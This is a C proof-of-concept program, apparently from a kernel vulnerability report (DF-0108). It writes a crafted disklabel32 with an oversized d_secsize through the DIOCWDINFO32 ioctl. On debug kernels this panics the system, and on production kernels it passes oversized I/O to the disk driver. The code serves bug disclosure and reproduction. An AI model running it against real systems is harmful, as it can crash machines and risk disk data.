DF-0108 / poc_secsize.c
/* * DF-0108 — Unvalidated d_secsize in l32_writedisklabel. * * Root/operator-only. Opens a disk slice device O_RDWR and issues * DIOCWDINFO32 with a crafted disklabel32 whose d_secsize exceeds * MAXPHYS (the pbuf b_bufsize). On a GENERIC kernel (INVARIANTS ON) * the KKASSERT at subr_disklabel32.c:336 fires and panics the kernel * before any I/O is issued: * * panic: assertion "(int)lp->d_secsize <= bp->b_bufsize" failed * in l32_writedisklabel at .../subr_disklabel32.c:336 * * On a production kernel (INVARIANTS OFF) the assertion is a no-op * and the oversized b_bcount is passed to the device strategy routine. * * Build: cc -o poc_secsize poc_secsize.c * Run: ./poc_secsize /dev/vn0s0 (as root/operator) */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/disklabel32.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <err.h> #define MAXPHYS (128 * 1024) /* dkcksum32() is provided as a static inline by <sys/disklabel32.h>. */ int main(int argc, char **argv) { const char *dev; int fd, rc; struct disklabel32 label; if (argc != 2) errx(1, "usage: %s <slice-dev> (e.g. /dev/vn0s0)", argv[0]); dev = argv[1]; fd = open(dev, O_RDWR); if (fd < 0) err(1, "open %s", dev); /* * Build a valid-looking disklabel32: magic, valid checksum, * RAW_PART (partition 2) offset==0 (required by l32_setdisklabel * and again by l32_writedisklabel), small partition sizes. * * The hostile field is d_secsize: set it far beyond MAXPHYS so the * KKASSERT "d_secsize <= b_bufsize" fails. */ memset(&label, 0, sizeof(label)); label.d_magic = DISKMAGIC32; label.d_magic2 = DISKMAGIC32; label.d_type = 0; /* DTYPE_SCSI is undefined; field is advisory */ label.d_secsize = 0x00200000; /* 2 MiB >> MAXPHYS (128 KiB) */ label.d_nsectors = 64; label.d_ntracks = 16; label.d_ncylinders = 16; label.d_secpercyl = 64 * 16; label.d_secperunit = 100; /* <= slice size in sectors */ label.d_npartitions = 4; label.d_bbsize = 8192; label.d_sbsize = 8192; /* partitions: p_size must be <= sp->ds_size ; RAW_PART p_offset==0 */ label.d_partitions[2].p_size = 100; /* RAW_PART */ label.d_partitions[2].p_offset = 0; label.d_partitions[0].p_size = 50; label.d_partitions[1].p_size = 50; /* Fix the checksum so dkcksum32() == 0 */ label.d_checksum = 0; label.d_checksum = dkcksum32(&label); printf("[*] device: %s\n", dev); printf("[*] d_secsize: 0x%08x (%u bytes, MAXPHYS=%d)\n", label.d_secsize, label.d_secsize, MAXPHYS); printf("[*] b_bufsize: %d (MAXPHYS)\n", MAXPHYS); printf("[*] secsize/bufsize ratio: %.2fx\n", (double)label.d_secsize / (double)MAXPHYS); printf("[*] checksum dkcksum32(lp) = 0x%04x (want 0)\n", dkcksum32(&label)); printf("[*] issuing DIOCWDINFO32 ... " "(GENERIC: expect KKASSERT panic at subr_disklabel32.c:336)\n"); fflush(stdout); rc = ioctl(fd, DIOCWDINFO32, &label); printf("[*] ioctl returned rc=%d\n", rc); if (rc < 0) printf("[!] errno=%d (%s) — no panic; " "either INVARIANTS-OFF (oversized I/O passed to driver) " "or an upstream guard rejected it.\n", errno, strerror(errno)); close(fd); return (rc < 0) ? 1 : 0; } |